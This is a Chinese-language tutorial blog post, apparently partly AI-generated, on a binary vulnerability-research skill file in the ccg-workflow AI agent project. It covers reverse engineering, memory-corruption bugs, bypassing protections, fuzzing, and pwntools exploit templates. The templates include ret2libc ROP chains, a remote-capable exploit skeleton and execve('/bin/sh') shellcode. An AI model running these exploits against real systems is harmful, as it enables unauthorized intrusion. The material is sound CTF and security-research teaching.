ccg-workflow 漏洞研究技能指南:从逆向工程到 Exploit 开发与 Fuzzing 的完整攻防路线
发布时间:2026/10/12 1:42:39 锦皓数字建站

【免费下载链接】ccg-workflow多模型协作工作流引擎 — /ccg:go 一个命令AI 自动分析意图、选择策略、编排 Codex Gemini Claude 协作执行项目地址https://gitcode.com/gh_mirrors/cc/ccg-workflow点击查看免费下载本指南以 ccg-workflow 仓库中templates/skills/domains/security/vuln-research.md这一领域知识技能文件为骨架系统讲解漏洞研究Vulnerability Research方向的核心方法论从目标分析与逆向工程入手到漏洞类型的识别与利用再到保护机制绕过、Fuzzing 与 Exploit 开发最后落点到 CTF PWN 实战。读者可以借此掌握一套可复制的二进制安全研究流程并理解该技能在 ccg-workflow 多模型协作工作流中如何被自动路由与注入使用。技能定位ccg-workflow 安全域中的噬魂化身在 ccg-workflow 的领域知识体系中漏洞研究是与渗透测试、代码审计、红队攻击、蓝队防御、威胁情报并列的六大安全秘典之一。其 frontmatter 定义了明确的触发语义name: vuln-research description: 漏洞研究。二进制分析、逆向工程、Exploit开发、Fuzzing。当用户提到漏洞研究、二进制、逆向、Exploit、Fuzzing、PWN、栈溢出、堆溢出时使用。从仓库的 安全域索引 SKILL.md 可以看到该技能被归入 噬魂道脉核心神通为二进制分析、逆向工程、Exploit 开发、Fuzzing、PWN对应的触发场景是漏洞研究 / PWN。自动路由机制该技能文件并非静态文档而是通过两条链路在运行时被激活Hook 级路由仓库中的 skill-router.js 内置了关键词路由表当用户消息中出现逆向、pwn、fuzzing、栈溢出、堆溢出、rop、binary、reversing等关键词时会把domains/security/vuln-research.md的前 120 行作为领域知识自动注入到上下文ccg-domain-knowledge块。规则级路由ccg-skill-routing.md 明确了二进制安全类请求binary, reversing, PWN, fuzzing, stack overflow, heap overflow, ROP应优先读取本技能文件而非依赖训练记忆其规则明确指出当技能文件与训练数据冲突时以技能文件为准Skill files are authoritative。安装前提安全域默认不随安装分发需要特别说明的是安全域文件默认不会随 ccg-workflow 的自动安装流程进入用户环境。在 installer.ts 中安装器在拷贝 skills 模板后会主动删除domains/security目录注释中给出的原因是这些红队/渗透参考资料可能触发杀毒软件或企业安全工具的误报。因此若要让vuln-research技能在本地生效需要手动从 npm 包复制以 Linux 为例cp -r $(npm root -g)/ccg-workflow/templates/skills/domains/security/ ~/.claude/skills/ccg/domains/security/这条路径同样记录在 ccg-skill-routing.md 中。仓库的 skills-hygiene 测试 还验证了技能文件不会携带硬编码的绝对主目录路径、凭证形态的裸 token 或可路由的公网 IP确保模板在复制后不会泄露作者的个人环境信息。研究流程总览vuln-research.md将漏洞研究的完整生命周期抽象为一条清晰的流水线目标分析 → 逆向工程 → 漏洞发现 → Exploit开发 → 报告/披露 │ │ │ │ │ └─ 架构 ────┴─ IDA ─────┴─ Fuzz ────┴─ PoC ────┴─ CVE五个阶段分别对应着不同的技术栈目标分析阶段关注目标架构x86/x64/ARM 等逆向工程阶段以 IDA/Ghidra 等工具为主漏洞发现阶段依赖 Fuzz 与人工审计Exploit 开发阶段产出 PoC最终通过 CVE 编号完成报告与披露。下文将按此脉络逐层展开。逆向工程静态与动态分析的配合逆向工程是漏洞研究的地基分为静态分析与动态分析两条互补路线。静态分析静态分析在不运行目标的情况下直接检查二进制适合快速获取文件属性、可疑字符串与汇编结构# 文件信息 file binary strings binary | grep -i password readelf -h binary objdump -d binary # IDA Pro / Ghidra # 反汇编、反编译、交叉引用分析file确认二进制格式、架构与链接方式动态/静态、PIE 与否为后续工具选择提供依据strings结合grep能快速定位硬编码的敏感字符串密码、密钥、标志位readelf -h读取 ELF 头部的入口点、程序头表等关键信息objdump -d输出反汇编代码是最轻量的汇编级审查手段。当二进制较大或逻辑复杂时应升级到交互式反汇编器IDA Pro / Ghidra利用反编译视图与交叉引用xref追踪数据流向。动态分析动态分析在真实执行环境中观察程序行为是确认漏洞可利用性的关键一步# GDB 调试 gdb ./binary (gdb) break main (gdb) run (gdb) disas (gdb) x/20x $esp (gdb) info registers # strace/ltrace strace ./binary ltrace ./binary # GDB 增强 # pwndbg / GEF / pedaGDB 是 Linux 下的事实标准调试器break main在入口断点、disas查看当前函数反汇编、x/20x $esp按十六进制查看栈内存、info registers检查寄存器状态。配合 pwndbg / GEF / peda 这类增强插件可以显著提升堆分析、ROP 检索与格式化字符串调试的效率。strace跟踪系统调用ltrace跟踪库函数调用适合快速判断程序与外界的交互边界。常用工具矩阵文档给出了按用途分类的完整工具清单反汇编/反编译: - IDA Pro: 商业最强大 - Ghidra: 开源NSA出品 - Binary Ninja: 现代化 - Radare2: 开源命令行 调试器: - GDB pwndbg/GEF - x64dbg (Windows) - WinDbg (Windows内核) - LLDB (macOS) 辅助工具: - ROPgadget: ROP链构造 - one_gadget: libc gadget - patchelf: ELF修改 - checksec: 安全机制检查需要注意跨平台取舍x64dbg 与 WinDbg 面向 Windows 用户态/内核态调试LLDB 是 macOS 上的默认选择one_gadget用于在 libc 中搜索可直接execve(/bin/sh)的 gadgetpatchelf常用于修改 ELF 的 interpreter 或添加缺失段在搭建本地复现环境时非常实用。核心漏洞类型成因、示例代码与利用思路文档覆盖了二进制安全中最常见的四类内存破坏与逻辑漏洞均配有可直接编译的最小复现代码。栈溢出Stack Overflow// 漏洞代码 void vulnerable(char *input) { char buffer[64]; strcpy(buffer, input); // 无边界检查 } // 利用思路 // 1. 覆盖返回地址 // 2. 跳转到 shellcode 或 ROP 链strcpy不检查目标缓冲区大小超长输入会从栈底向上覆盖保存的返回地址以及可能的 Canary 与保存的 RBP。经典利用流程是先构造 padding 填充到返回地址偏移再用目标地址shellcode 入口或 ROP 链起点覆盖之。文档给出配套的 pwntools Exploit 模板# Exploit 模板 from pwn import * context.arch amd64 p process(./vuln) # 构造 payload padding bA * 72 # 填充到返回地址 ret_addr p64(0x401234) # 目标地址 payload padding ret_addr p.sendline(payload) p.interactive()context.arch声明目标架构amd64 下地址为 8 字节故用p64打包padding长度 72 表示从缓冲区起始到返回地址的偏移64 字节缓冲区 8 字节 RBPp64(0x401234)是要跳转的目标地址通常来自反汇编分析如后门函数、/bin/sh字符串所在的固定地址。堆溢出Heap Overflow// 漏洞代码 struct chunk { char data[32]; void (*func_ptr)(); }; void vulnerable(char *input) { struct chunk *c malloc(sizeof(struct chunk)); strcpy(c-data, input); // 溢出覆盖 func_ptr c-func_ptr(); }堆溢出覆盖的不再是返回地址而是堆上相邻的元数据或对象字段——本例中data[32]溢出后会覆盖同一结构体中的函数指针func_ptr随后对c-func_ptr()的调用将跳转到攻击者控制的地址。相比栈溢出堆利用还需要考虑 glibc 的分配器行为fastbin / unsorted bin / tcache 等是 CTF 中堆利用题目的基础。Use-After-FreeUAF// 漏洞代码 void vulnerable() { char *ptr malloc(64); free(ptr); // ptr 未置空 strcpy(ptr, user_input); // UAF }free(ptr)之后指针未置空后续对该悬垂指针的读写就会访问已经被释放并可能被重新分配的内存。UAF 的典型利用路径是释放 chunk → 通过伪造或重新分配让该区域落入攻击者可控的数据 → 再利用悬垂指针触发类型混淆或函数指针调用。实践中 UAF 常与堆喷heap spraying结合使用。格式化字符串Format String// 漏洞代码 void vulnerable(char *input) { printf(input); // 格式化字符串漏洞 } // 利用 // %x - 泄露栈数据 // %n - 任意写 // %s - 任意读当用户输入被直接作为printf的格式字符串时攻击者可以用格式说明符读写栈与内存%x以十六进制泄露栈上的参数与局部变量%n将已输出的字符数写入指定地址任意写常用于改 GOT 表项或返回地址%s从指定地址读取字符串任意读常用于泄露 libc 基址。配合位置参数如%7$p可以精确索引到目标参数槽位。保护机制检查与绕过现代二进制默认开启一系列缓解措施Exploit 开发前必须先用checksec摸清目标防护checksec ./binary # RELRO, Stack Canary, NX, PIE, FORTIFY文档按防护机制给出了对应的绕过路线NX (不可执行): - ROP (Return Oriented Programming) - ret2libc - ret2syscall ASLR (地址随机化): - 信息泄露 - 暴力破解 (32位) - 部分覆盖 Stack Canary: - 信息泄露 - 逐字节爆破 - 覆盖 __stack_chk_fail PIE (位置无关): - 信息泄露基址 - 部分覆盖 RELRO: - Partial: 覆盖 GOT - Full: 其他利用方式要点解读NX禁止栈上执行代码迫使攻击者改用 ROP在已有指令片段间跳转或 ret2libc跳转到 libc 中的system等函数ASLR随机化栈、堆与库基址最常见的破法是通过一次信息泄露拿到 libc 中的真实地址再反推基址Stack Canary在返回地址前放置随机值函数返回前校验绕过手段包括先泄露 Canary 再原样写回或在 fork 型服务上逐字节爆破PIE随机化程序自身基址绕过思路是泄露某个 GOT 表项后计算基址偏移RELRO的 Partial 状态允许攻击者改写 GOT 表项GOT hijackFull RELRO 下 GOT 只读需要转向其他攻击面如_IO_FILE结构、__malloc_hook等。ROP 链构造实战文档给出了两阶段 ROP 的 pwntools 实现这也是 ret2libc 的标准范式from pwn import * elf ELF(./vuln) libc ELF(./libc.so.6) rop ROP(elf) # 泄露 libc 地址 rop.puts(elf.got[puts]) rop.main() # 计算 libc 基址 libc_base leaked_puts - libc.symbols[puts] system libc_base libc.symbols[system] bin_sh libc_base next(libc.search(b/bin/sh)) # 第二阶段 ROP rop2 ROP(libc) rop2.system(bin_sh)第一阶段先调用puts(putsgot)泄露 GOT 中puts的真实运行地址再跳回main让程序二次进入漏洞函数拿到泄露值后减去 libc 中puts的符号偏移即得 libc 基址进而算出system地址与/bin/sh字符串位置第二阶段构造system(/bin/sh)的 ROP 链获取 shell。ROP(elf)会自动从二进制中检索可用 gadget 并处理栈对齐问题。Fuzzing自动化漏洞发现Fuzzing 通过向目标投喂大量变异输入来触发异常路径是现代漏洞挖掘的产量担当。文档给出三条主线。AFL覆盖率引导# 编译插桩 afl-gcc -o target_afl target.c # 准备种子 mkdir input output echo seed input/seed # 开始 Fuzz afl-fuzz -i input -o output -- ./target_afl # 分析崩溃 afl-tmin -i output/crashes/id:000000 -o minimized -- ./target_afl afl-gcc对被测试程序插桩以采集分支覆盖率-i input -o output指定种子目录与结果目录占位符表示将变异后的输入作为文件参数传给目标afl-tmin用于把崩溃样本最小化方便后续人工分析根因。LibFuzzer进程内模糊测试// fuzz_target.cpp extern C int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { // 调用被测函数 parse_input(data, size); return 0; }# 编译 clang -fsanitizefuzzer,address fuzz_target.cpp -o fuzzer # 运行 ./fuzzer corpus/LibFuzzer 与被测代码运行在同一进程内以内存缓冲区而非文件方式投喂输入配合 AddressSanitizer 能即时捕获越界读写corpus/目录用于持久化积累的种子语料。智能 Fuzzing 策略# 基于覆盖率的 Fuzzing # 使用 AFL、LibFuzzer 等 # 基于语法的 Fuzzing # 使用 Peach、Domato 等 # 符号执行辅助 # 使用 KLEE、angr 等覆盖率引导适合黑盒与半黑盒场景语法感知的 FuzzingPeach、Domato面向协议或文件格式能生成结构合法的输入从而深入深层逻辑符号执行KLEE、angr则用于求解触发特定路径的输入约束常作为 Fuzzing 的补充手段来突破复杂分支。Exploit 开发Shellcode 与完整 PoC 模板Shellcode 生成文档展示了两种 shellcode 来源# pwntools 生成 from pwn import * context.arch amd64 # execve(/bin/sh, NULL, NULL) shellcode asm(shellcraft.sh()) # 自定义 shellcode shellcode asm( xor rdi, rdi push rdi mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx mov al, 59 syscall )shellcraft.sh()直接生成execve(/bin/sh, NULL, NULL)的汇编手写版本则演示了系统调用约定把/bin/sh字符串压栈、rdi指向栈顶字符串、rsi/rdx清零、al置 59x86_64 的execve系统调用号后执行syscall。需要说明的是示例中先压入 rdi空再压入字符串是文档演示精简逻辑的写法实际手写 shellcode 通常会省略多余指令以确保在受限空间内自包含且无空字节。完整 Exploit 模板文档提供的 PoC 模板是一个结构完整的本地/远程通用框架#!/usr/bin/env python3 from pwn import * context.arch amd64 context.log_level debug # 配置 binary ./vuln libc_path ./libc.so.6 host, port target.com, 1337 # 加载 elf ELF(binary) libc ELF(libc_path) def exploit(p): # 1. 泄露地址 payload1 bA * 72 payload1 p64(elf.plt[puts]) payload1 p64(elf.got[puts]) payload1 p64(elf.symbols[main]) p.sendline(payload1) leaked u64(p.recvline().strip().ljust(8, b\x00)) libc_base leaked - libc.symbols[puts] log.success(flibc base: {hex(libc_base)}) # 2. 获取 shell system libc_base libc.symbols[system] bin_sh libc_base next(libc.search(b/bin/sh)) payload2 bA * 72 payload2 p64(libc_base 0x4f3d5) # one_gadget p.sendline(payload2) p.interactive() if __name__ __main__: if args.REMOTE: p remote(host, port) else: p process(binary) exploit(p)模板的关键设计args.REMOTE通过 pwntools 的args机制切换本地进程与远程连接python3 exploit.py REMOTE一套代码覆盖两种场景泄露阶段用puts(putsgot)再回mainu64(recvline().strip().ljust(8, b\x00))将 6 字节泄露值按小端补齐为 8 字节地址第二阶段可以直接复用计算出的system/bin_sh也可像示例那样使用 one_gadgetlibc_base 0x4f3d5后者需要在目标 libc 版本中先用one_gadget工具确认偏移有效context.log_level debug会打印收发数据便于定位 payload 构造问题。CTF PWN 技巧与快速解题流程常见题型分类文档将 CTF PWN 题目按利用对象归纳为三类栈溢出: - ret2text: 跳转到后门函数 - ret2shellcode: 跳转到 shellcode - ret2libc: 调用 system(/bin/sh) - ROP: 构造 ROP 链 堆利用: - fastbin attack - unsorted bin attack - tcache poisoning - house of 系列 格式化字符串: - 泄露栈/libc地址 - 任意写 GOT - 修改返回地址栈溢出按跳转目标分层ret2text利用程序内已有的后门函数ret2shellcode需 NX 关闭ret2libc应对 NXASLRROP则是通用化表达堆利用围绕 glibc 分配器做文章fastbin attack制造 fastbin 的 double-free 或伪造 chunkunsorted bin attack改写全局指针如main_arena附近地址tcache poisoning利用 tcache 的 freelist 无完整性校验特性house of 系列house of spirit / house of force / house of orange 等则是针对特定分配器状态的经典利用套路格式化字符串既可泄露栈与 libc 地址也能实现任意地址写改 GOT 或返回地址。快速解题流程# 1. 检查保护 checksec ./pwn # 2. 运行测试 ./pwn # 3. 反编译分析 # IDA/Ghidra # 4. 确定漏洞点 # 5. 编写 Exploit # 6. 本地测试 # 7. 远程利用这是文档给出的标准七步流程与完整 Exploit 模板天然衔接先checksec明确缓解措施决定利用策略再动态运行观察程序行为反编译定位漏洞点最后本地验证后切换REMOTE模式打远程靶机。工具清单速查文档在末尾汇总了贯穿全流程的核心工具工具用途IDA Pro反汇编/反编译Ghidra开源逆向pwntoolsExploit 开发GDB pwndbg调试AFLFuzzingROPgadgetROP 链one_gadgetlibc gadgetangr符号执行在 ccg-workflow 中的使用方式与边界综合上述仓库证据本技能的实际用法可以归纳为三点作为知识注入安装后当对话触发二进制安全关键词时skill-router.js 会自动把本文件内容注入模型上下文确保模型优先依据仓库内沉淀的方法论作答而不是凭训练记忆自由发挥作为手动参考开发者也可以在安全研究场景下直接打开 vuln-research.md 查阅逆向、Fuzz、Exploit 的速查内容注意授权边界本技能归属于 安全域索引 声明的安全研究全授权范围仅适用于已获授权的渗透测试、CTF、漏洞挖掘等合规场景同时由于其内容可能触发安全软件误报默认安装流程见 installer.ts会将其排除需要使用者按上文命令手动部署。掌握本指南所覆盖的目标分析 → 逆向 → 漏洞发现 → Exploit → 报告完整链路后配合 ccg-workflow 的多模型编排能力即可在授权范围内将二进制漏洞研究从手工流程提升为可复用、可自动化的工程实践。赞分享【免费下载链接】ccg-workflow多模型协作工作流引擎 — /ccg:go 一个命令AI 自动分析意图、选择策略、编排 Codex Gemini Claude 协作执行项目地址https://gitcode.com/gh_mirrors/cc/ccg-workflow点击查看免费下载相关推荐CCG-Workflow 漏洞研究秘典二进制逆向、Exploit 开发与 Fuzzing 的完整实战指南CCG Workflow 漏洞研究秘典二进制逆向、Exploit 开发与 Fuzzing 的完整实战指南 本篇以 CCG Workflowccg workf人工智能AI 应用开发工具CLIAI Agentdsh-pluginDeepSeekccg-workflow 攻防秘典 · Security 领域技能体系六脉化身的渗透、审计、攻防与漏洞研究能力图谱ccg workflow 攻防秘典 · Security 领域技能体系六脉化身的渗透、审计、攻防与漏洞研究能力图谱 本文围绕 ccg workflow 项目内GitHub热门项目LSPosed_mod性能基准测试与主流Hook框架对比报告GitHub热门项目LSPosed_mod性能基准测试与主流Hook框架对比报告 引言为什么Hook框架性能至关重要 在Android逆向开发与自定义RO文档教程网络安全测试上一篇RenoDX未来展望游戏图形技术的前沿探索下一篇ClickHouse v24.2.2.71-stable 版本解析补丁内容、安全修复与源码级实现解读创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。